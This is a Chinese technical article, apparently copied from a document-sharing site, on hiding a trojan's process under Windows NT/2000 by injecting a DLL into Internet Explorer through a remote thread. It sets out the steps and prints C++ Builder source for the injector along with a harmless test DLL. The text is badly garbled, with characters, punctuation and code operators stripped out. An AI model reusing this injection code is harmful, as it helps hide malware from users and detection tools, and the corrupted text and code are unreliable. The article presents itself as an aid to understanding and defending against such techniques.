摘 进程隐藏直木马程序设计者断探求重技术文采远程线程技术通动态链接库方法较解决问题通远程线程木马作线程隐藏进程中达隐藏目
关键字进程 线程 木马 动态链接库
木马程序(称门程序)控制运行远程机程序木马程序运行远程机进程隐藏疑家关心焦点
文分析Windows NT2000系统进程隐藏基技术方法着重讨运线程嫁接技术实现Windows NT2000系统中进程隐藏
1 基原理 WIN9598中需进程注册系统服务够进程查器中隐形切Windows NT2000中完全 木马端口启动文件巧妙隐藏始终躲Windows NT2000务理器Windows NT2000务理器均轻松显示出木马进程难道Windows NT2000木马真法隐藏进程?知道WINDOWS系统执行文件ExeCom文件两种文件运行时点会生成独立进程寻找特定进程发现木马方法着入侵检测软件断发展关联进程SOCKET已成流行技术假设木马运行时检测软件时查出端口进程基认木马隐藏已完全失败
Windows NT2000正常情况户进程系统理员说见想做木马进程隐藏两办法第系统理员见进程第二进程
文第二种方法例加讨基原理已木马线程方式嫁接远程进程中远程进程合法户程序样户理者合法进程法发现木马线程存达隐藏目
2 实现方法 弄清实现方法必须首先解Windows系统种执行文件DLL
DLLDynamic Link Library(动态链接库)缩写DLL文件Windows基础API函数DLL中实现
DLL文件没程序逻辑功函数构成独立运行般进程加载调
DLL文件独立运行进程列表中会出现DLL假设编写木马DLL通进程运行入侵检测软件进程列表中会出现进程会出现木马DLL果进程信进程(例浏览器程序IEXPLOREEXE没会怀疑木马吧?)编写DLL作进程部分成信赖员达隐藏目
运行DLL方法种中隐蔽方法采动态嵌入技术动态嵌入技术指代码嵌入正运行进程中技术
理说Windows中进程私存空间进程允许私空间进行操作实际然利种种方法进入操作进程私存
动态嵌入技术种:窗口Hook挂接API远程线程等里介绍远程线程技术基进线程动态链接库知识轻松完成动态嵌入
远程线程技术指通进程中创建远程线程方法进入进程存址空间
知道进程中通CreateThread函数创建线程创建新线程线程(进程启动时时动建立线程)享址空间资源
少知道通CreateRemoteThread样进程创建新线程创建远程线程样享远程进程(远程进程)址空间实际通远程线程进入远程进程存址空间拥远程进程相权限
3 实施步骤 1) Process32Next()函数找宿进程获取宿进程ID OpenProcess()函数开宿进程
2) VirtualAllocEx()函数分配远程进程址空间中存
3) WriteProcessMemory()函数隐藏DLL路径名
4) 拷贝步骤二已分配存中
5) GetProcAddress()函数获取LoadlibraryA()函数实址(kernel32dll中)
6) CreateRemoteThread()函数远程进程中创建线程
7) 调正确LoadlibraryA()函数
8) 传递步骤二中分配存址
4 具体实例 面C Builder 40环境编写运远程线程技术隐藏木马程序代码: #include #include #include #include 该头文件包涵进程操作API函数 #pragma hdrstop #include Unit1h #pragma package(smart_init) #pragma resource *dfm
Insisting pszLibFileName存放隐藏DLL文件名 HANDLE hProcessSnapNULL进程快句柄 HANDLE hRemoteProcess远程进程句柄 LPVOID pszLibFileRemote远程进程中分配文件名空间 HMODULE phmd存放kernel32dll句柄 HANDLE hRemoteThread1NULL存放远程线程句柄
TForm1 *Form1 __fast call TForm1TForm1(TComponent* Owner) TForm(Owner) { } void __fastcall TForm1Button1Click(TObject *Sender) { PROCESSENTRY32 pe32{0} DWORD dwRemoteProcessId hProcessSnapCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS0) 开进程快 if(hProcessSnap(HANDLE)1) { MessageBox(NULLCreateToolhelp32Snapshot failedMB_OK) exit(0) } 失败返回
pe32dwSizesizeof(PROCESSENTRY32) if(Process32First(hProcessSnap&pe32)) 获取第进程 { do{ AnsiString te tepe32szExeFile if(tePos(iexploreexe)|| tePos(IEXPLOREEXE)) 找宿进程IEXPLOREEXE例 { dwRemoteProcessIdpe32th32ProcessID break } } while(Process32Next(hProcessSnap&pe32))获取进程 } else { MessageBox(NULL取第进程失败MB_OK) exit(0) } hRemoteProcessOpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM _OPERATION|PROCESS_VM_WRITEFALSEdwRemoteProcessId) 开远程进程 pszLibFileNameGetCurrentDir() \\ hidedll 假设hidedll隐藏进程 int cb(1 pszLibFileNameLength())*sizeof(char)计算dll文件名长度 pszLibFileRemote(PWSTR)VirtualAllocEx(hRemoteProcessNULLcb MEM_COMMITPAGE_READWRITE)
申请存放文件名空间 BOOL ReturnCodeWriteProcessMemory(hRemoteProcess pszLibFileRemote(LPVOID)pszLibFileNamec_str()cbNULL) dll文件名写入申请空间 phmdGetModuleHandle(kernel32dll) LPTHREAD_START_ROUTINE fnStartAddr(LPTHREAD_START_ROUTINE) GetProcAddress(phmdLoadLibraryA) 获取动态链接库函数址 hRemoteThread1CreateRemoteThread(hRemoteProcessNULL0 pfnStartAddrpszLibFileRemote0NULL) 创建远程线程 if(hRemoteThread1NULL) CloseHandle(hRemoteThread1)关闭远程线程 if(hProcessSnapNULL) CloseHandle(hProcessSnap)关闭进程快 }
该程序编译命名RmtDllexe运行时点击界面钮
远程嵌入利完成试验hidedll已正常远程线程运行样C Builder40环境编写编译面hidedll作测试:
#include #include #pragma hdrstop #pragma argsused BOOL WINAPI DllEntryPoint(HINSTANCE hinst unsigned long reason void* lpReserved) { char szProcessId[64] switch(reason) { case DLL_PROCESS_ATTACH {获取前进程ID itoa(GetCurrentProcessId()szProcessId10) MessageBox(NULLszProcessIdRemoteDLLMB_OK) break } default } return TRUE } RmtDllexe程序hidedll嵌入IEXPLOREEXE进程假设PID1208)该测试DLL弹出1208字样确认框时PS工具 Process ID 1208 C\WINNT\IEXPLOREEXE (0x00400000) …… C\WINNT\hidedll (0x100000000) …… 证明hidedll已IEXPLOREEXE进程正确运行
面程序头文件编译器动生成未作改动略
5 结束语 进程隐藏技术方法技术发展相快文仅侧面加讨希通探讨进程隐藏技术更清楚认识时防范利进程隐藏手段非法入侵提供参考文抛砖引玉处诚恳批评指正
参考文献 1 Jeffrey Richter著 王建华张焕生侯丽坤等译 Windows核心编程 机械工业出版社2 K.赖斯夫 H 亨德森著 希图书创作室译 Borland C Builder 实培训教程
文档香网(httpswwwxiangdangnet)户传
《香当网》用户分享的内容,不代表《香当网》观点或立场,请自行判断内容的真实性和可靠性!
该内容是文档的文本内容,更好的格式请下载文档